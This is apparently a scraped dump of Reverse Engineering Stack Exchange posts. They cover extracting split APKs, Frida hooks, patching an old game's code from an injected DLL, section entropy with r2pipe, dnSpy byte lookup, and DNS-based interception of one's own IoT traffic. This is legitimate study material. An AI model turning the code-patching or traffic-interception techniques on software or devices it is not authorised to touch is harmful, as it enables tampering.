  5. Using the full path name from Step 2, pull the APK file from the Android device to the development box. Using adb pull /data/app/com.example.someapp-2.apk path/to/desired/destination
  6. +
+

Sounds simple enough, and it has been so far on many apps. Then, today, I came across an app where step 2 returned not 1 but 3 apk files:

+
adb shell pm path the.app.package
+package:/data/app/the.app.package-che0LFSLF9su1gFiz9cVbw==/base.apk
+package:/data/app/the.app.package-che0LFSLF9su1gFiz9cVbw==/split_config.arm64_v8a.apk
+package:/data/app/the.app.package-che0LFSLF9su1gFiz9cVbw==/split_config.xxxhdpi.apk
+
+

where I have replaced the actual package name with the.app.package. I'm guessing that there are parts of the code that are specific for arm64_v8a and/or xxxhdpi displays, and these are separated out into the split_config apk files? How would one begin in analyzing such apps where there's not just a base.apk but some of these additional apk files as well?

+",30460,,,,,7/10/2020 14:10,Getting android app from device for reversing - what if there are multiple apks?,,1,1,,,,CC BY-SA 4.0 +25462,2,,14823,7/9/2020 8:41,,2,,"

To write the string "foo" into the memory address 0xdeadbeef:

+

w foo @ 0xdeadbeef

+

To write the hex 0x41414141 to the memory address 0xdeadbeef:

+

w \x41\x41\x41\x41 @ 0xdeadbeef

+

I recommend also taking a look at the various options for writing using the command w?.

+",12632,,,,,7/9/2020 8:41,,,,0,,,,CC BY-SA 4.0 +25463,1,,,7/9/2020 14:18,,1,741,"

i have a emulator named "Ldplayer" in my windows os and I'm trying to log all instructions executed by the app that uses ARM JNI libraries. basically, the app is running in an x86 emulator and only has arm JNI Libs, so emulation is used for the ARM Libs.

+
import frida, sys
+ss = """
+Java.perform(function() {
+    const System = Java.use('java.lang.System');
+    const Runtime = Java.use('java.lang.Runtime');
+    const VMStack = Java.use('dalvik.system.VMStack');
+
+    System.loadLibrary.implementation = function(library) {
+        try {
+            console.log('System.loadLibrary("' + library + '")');
+            const loaded = Runtime.getRuntime().loadLibrary0(VMStack.getCallingClassLoader(), library);
+            return loaded;
+        } catch(ex) {
+            console.log(ex);
+        }
+    };
+    
+    System.load.implementation = function(library) {
+        try {
+            console.log('System.load("' + library + '")');
+            const loaded = Runtime.getRuntime().load0(VMStack.getCallingClassLoader(), library);
+            return loaded;
+        } catch(ex) {
+            console.log(ex);
+        }
+    };
+});
+"""
+device = frida.get_device_manager().add_remote_device('127.0.0.1:27042')
+pid = device.spawn(["com.testapp"])
+session = device.attach(pid)
+script = session.create_script(ss)
+script.load()
+device.resume(pid)
+sys.stdin.read()
+
+

this code list all libraries loaded when the app starts, but when i do

+

Module.findBaseAddress('libtest.so');

+

it always returns null, in the end of the day i just want to log all the instructions being executed by the process so i can get the faulty instruction and search it up in the ida to patch it. +if there's any other tool i can achieve the same than please suggest me also, process don't support attaching a debugger!

+",33709,,,,,7/9/2020 14:18,Instruction trace using frida in android emulator,,0,11,,,,CC BY-SA 4.0 +25464,1,,,7/10/2020 5:54,,2,138,"

I am reverse engeneering a really old game (Mu 97d) for the sake of adding new things to the game. +What I am doing is intercepting the game with a DLL, and in the DLL do the calculations so I can add the new things.

+

I have this code that intercepts an 'if' statement, and I redirect it to my own function - based on the input - my function returns true or false.

+

C code:

+
/* Called on player load - 12 bytes */
+*(BYTE*)(0x004798CD  + 0) = 0x50;  /* PUSH EAX */
+*(BYTE*)(0x004798CD  + 1) = 0xE8;  /* CALL */
+*(DWORD*)(0x004798CD + 2) = (DWORD)&Unk11 - (0x004798CD + 6); /* FUNCTION TO CALL */
+*(BYTE*)(0x004798CD  + 6) = 0x85;  /* TEST */
+*(BYTE*)(0x004798CD  + 7) = 0xC0;  /* EAX, EAX */
+*(BYTE*)(0x004798CD  + 8) = 0x58;  /* POP EAX */
+*(BYTE*)(0x004798CD  + 9) = 0x74;  /* JE */
+*(BYTE*)(0x004798CD  + 10) = 0x15;  /* 15 */
+*(BYTE*)(0x004798CD  + 11) = 0x90;  /* NOP */
+
+

ASM part that I am intercepting

+
[...]
+004798A1  |.  81E7 FF000000 AND EDI,000000FF
+004798A7  |.  8D0440        LEA EAX,[EAX*2+EAX]
+    004798AA  |.  C1E0 02       SHL EAX,2
+004798AD  |.  99            CDQ
+004798AE  |.  F7FF          IDIV EDI
+004798B0  |.  8BD8          MOV EBX,EAX
+004798B2  |.  B8 67666666   MOV EAX,66666667
+004798B7  |.  F7EF          IMUL EDI
+004798B9  |.  D1FA          SAR EDX,1
+004798BB  |.  8BC2          MOV EAX,EDX
+004798BD      03D3          ADD EDX,EBX
+004798BF      C1E8 1F       SHR EAX,1F
+004798C2      8D5410 04     LEA EDX,[EDX+EAX+4]
+004798C6      66:0156 12    ADD WORD PTR DS:[ESI+12],DX
+004798CA      66:8B06       MOV AX,WORD PTR DS:[ESI]
+004798CD      66:3D 8301    CMP AX,183 ]---------------------- FROM HERE
+004798D1      7C 1A         JL SHORT 004798ED
+004798D3      66:3D 8601    CMP AX,186
+004798D7      7F 14         JG SHORT 004798ED ]--------------- TO HERE
+004798D9      83F9 09       CMP ECX,9
+004798DC      B8 09000000   MOV EAX,9
+004798E1      7F 02         JG SHORT 004798E5
+004798E3      8BC1          MOV EAX,ECX
+004798E5      03C0          ADD EAX,EAX
+004798E7      66:0146 12    ADD WORD PTR DS:[ESI+12],AX
+004798EB      EB 13         JMP SHORT 00479900
+004798ED      83F9 09       CMP ECX,9
+004798F0  |.  B8 09000000   MOV EAX,9
+004798F5  |.  7F 02         JG SHORT 004798F9
+004798F7  |.  8BC1          MOV EAX,ECX
+004798F9  |>  8D1440        LEA EDX,[EAX*2+EAX]
+004798FC  |.  66:0156 12    ADD WORD PTR DS:[ESI+12],DX
+00479900  |>  8D51 F7       LEA EDX,[ECX-9]
+00479903  |.  33C0          XOR EAX,EAX
+00479905  |.  85D2          TEST EDX,EDX
+00479907  |.  7E 1D         JLE SHORT 00479926
+00479909  |.  BB 04000000   MOV EBX,4
+0047990E  |.  BF 05000000   MOV EDI,5
+00479913  |>  85C0          /TEST EAX,EAX
+00479915  |.  75 06         |JNE SHORT 0047991D
+00479917  |.  66:015E 12    |ADD WORD PTR DS:[ESI+12],BX
+0047991B  |.  EB 04         |JMP SHORT 00479921
+0047991D  |>  66:017E 12    |ADD WORD PTR DS:[ESI+12],DI
+00479921  |>  40            |INC EAX
+[...]
+
+

This is the code from my DLL, the function right now behaves as the game would do.

+
BOOL Unk11(short int a1)
+{
+    if((a1 >= 387 && a1 <= 390))
+        return TRUE;
+    return FALSE;
+}
+
+

But, if I add a second condition to the IF:

+
BOOL Unk11(short int a1)
+{
+    if((a1 >= 387 && a1 <= 390) || (a1 >= 404 && a1 <= 415))
+        return TRUE;
+    return FALSE;
+}
+
+

The game becomes unstable, even with a simple debug function that writes to a log file, the game becomes unstable, example:

+
BOOL Unk11(short int a1)
+{
+    Debug("Hello");
+    if((a1 >= 387 && a1 <= 390))
+        return TRUE;
+    return FALSE;
+}
+
+

With Ollydbg I executed the game, and checked the ASM part of my function, and this is what I've got:

+
CPU Disasm
+Address   Hex dump          Command                                  Comments
+7C721B30    55              PUSH EBP
+7C721B31    8BEC            MOV EBP,ESP
+7C721B33    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
+7C721B36    05 7DFEFFFF     ADD EAX,-183
+7C721B3B    66:B9 0300      MOV CX,3
+7C721B3F    66:3BC8         CMP CX,AX
+7C721B42    1BC0            SBB EAX,EAX
+7C721B44    40              INC EAX
+7C721B45    5D              POP EBP
+7C721B46    C3              RETN
+
+

Why the ADD EAX is -183? Shouldn't it be 183? Where is the '<= 390' in this code? +I tried with different calling conventions, but I get the same behaviour - game unstable.

+

Why is the game unstable even with a minimum game? The game is old, 2003 or so - could it be a compatibility issue with my DLL? I am using Visual Studio 2010.

+

I hope this is enough info, if not, say so! +Thanks!

+",33787,,,,,7/19/2020 10:32,"Intercepting game function with C and Assembler, game unstable with minimum changes",,3,0,,,,CC BY-SA 4.0 +25465,2,,25464,7/10/2020 7:09,,2,,"

It's not add -183. 0xFFFFFE7d is equal to -387. The original conditions is this

+
387 <= x <= 390
+
+

if we add -387 to all the sides we get

+
0 <= x + (-387) <= 3
+
+

and this is exactly what's checked in the code.

+

As why the code is unstable? Well it would require a bit more detailed analysis (debugging?) but what I can see is this. Just after the code you are replacing, ECX is used (see 004798D9 83F9 09 CMP ECX,9) and yet your function destroy the value of ECX (see 7C721B3B 66:B9 0300 MOV CX,3). Try saving this value and see if it become more stable.

+",18014,,,,,7/10/2020 7:09,,,,2,,,,CC BY-SA 4.0 +25466,1,25467,,7/10/2020 11:17,,-1,642,"

I want to write a script to extract the entropy of each sections of an EXE file. What is the best tool that I can use to do this? +I tried Ghidra but it doesn't have an entropy API which I can use.

+",33506,,,,,7/10/2020 12:10,Best way to find the entropy of an EXE file?,,1,2,,,,CC BY-SA 4.0 +25467,2,,25466,7/10/2020 12:10,,1,,"

You can use r2 to get the data and r2pipe to script it.

+

iS entropy produce the entropy values for each section. Adding j will produce it in JSON format and scripting it with r2pipe is easy.

+
import r2pipe
+p = r2pipe.open('<path_to_exe>')
+res = p.cmdj('iSj entropy')
+print([(x['name'],x['entropy']) for x in res['sections']])
+
+
+

[('.text', '6.00602992'), ('.rdata', '3.94265366'), ('.data', '6.85876398'), ('.pdata', '3.46591559'), ('.rsrc', '4.70150326'), ('.reloc', '4.96848447')]

+
+",18014,,,,,7/10/2020 12:10,,,,7,,,,CC BY-SA 4.0 +25468,2,,25461,7/10/2020 14:10,,1,,"

You asked how you should begin; the first step is likely to determine what is in each APK and if it is relevant to your goals. Simply extract them all and poke around a bit.

+

Like Robert's comment says, Android App Bundles are a common format, and serve to modularize the app by shipping only the components needed for a particular device. So in this case, it appears the 3 APKs likely contain the base application, native libraries for ARMv8, and corresponding assets/resources for a HDPI device.

+

I think if you looked at each APK, you may quickly realize which pieces are or are not relevant to you, depending what you are particularly interested in.

+",24222,,,,,7/10/2020 14:10,,,,2,,,,CC BY-SA 4.0 +25470,1,25475,,7/10/2020 18:23,,1,1175,"

There are a sequence of bytes that i need to find out where are used in dnspy

+

i tried going to hex editor and found the bytes, but right clicking and saying go to code or structure or follow reference wont work

+

how can i know where these bytes are used if there is no reference? is it possible to set breakpoint on location access just like IDA, or any easier way?

+

The sequence of bytes are right before the IAT in the .text section, around 0x70 bytes after this string which seems to be in a lot of .net files :

+

Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator

+",28109,,28109,,7/11/2020 6:05,7/14/2020 8:07,How to know where a sequences of bytes are used in a .NET application with Dnspy?,<.net>,1,0,,,,CC BY-SA 4.0 +25472,2,,25464,7/10/2020 22:27,,0,,"

Okay, so after a few hours this is what I did - instead of a C style function, I made it with ASM; this is the result:

+
Naked (Unk11)
+{
+    _asm
+    {
+        PUSH ESI
+        MOV ESI, DWORD PTR SS:[ESP+8]
+
+        CMP ESI, 0x183 //387
+        JL False
+        CMP ESI, 0x186 //390
+        JLE True
+False:
+        MOV EAX, FALSE
+        JMP Exit
+True:   
+        MOV EAX, TRUE
+Exit:
+        POP ESI
+        RETN
+    }
+}
+
+

Now this is working correctly, the only thing that I still can't figure it out, is why if I add the 'Debug();' function, the game starts to behave strange. +For example, my armor goes from 95 to 45 by just adding that function.

+",33787,,,,,7/10/2020 22:27,,,,1,,,,CC BY-SA 4.0 +25473,1,,,7/11/2020 4:52,,1,204,"

I've got a bunch of IoT devices that can only be controlled through the Internet, as all their traffic goes through their own "cloud" server. I want to reclaim full control and low latency on my AC unit.

+

The device doesn't offer a way to configure a proxy.

+

I am considering the following:

+
    +
  • install PiHole on my network (I want that for other reasons too)
  • +
  • get PiHole to snitch what DNS queries the device is making
  • +
  • configure PiHole to hijack the control server name and route http requests to a server of mine
  • +
  • have this server log all the traffic an pass it through to the legit control server
  • +
  • then reverse engineer this logged traffic and implement my own control server
  • +
+

This is going to work only if the device is making http requests to a domain name (and not if it is making them directly to an ip adress). Https could be an issue too.

+

Does any software exist already, with the kind of MITM features I am looking for: copy and dump the http traffic? Anything simpler than the above?

+",33802,,,,,12/15/2020 18:02,Spoofing DNS to intercept iot traffic,,1,2,,,,CC BY-SA 4.0 +25474,1,25476,,7/11/2020 5:58,,0,368,"

I'm using IDA batch scripting to run a script on a dataset of malware

+

the problem is i need to run the VB6 idc script after auto analysis is finished, and wait for it to finish and find all the functions, then run my own script (my script is in IDApython and VB6 script is a idc file)

+

to manually run this VB6 script i go to file and choose script file ( there is no menu button or shortcut added) and wait for it to finish and find all VB6 functions

+

so what is the easiest way to achieve this? can i execute a idc script from my IDApython script and wait for it to finish?

+",28109,,,,,7/11/2020 9:02,How to run another IDA script using IDApython?,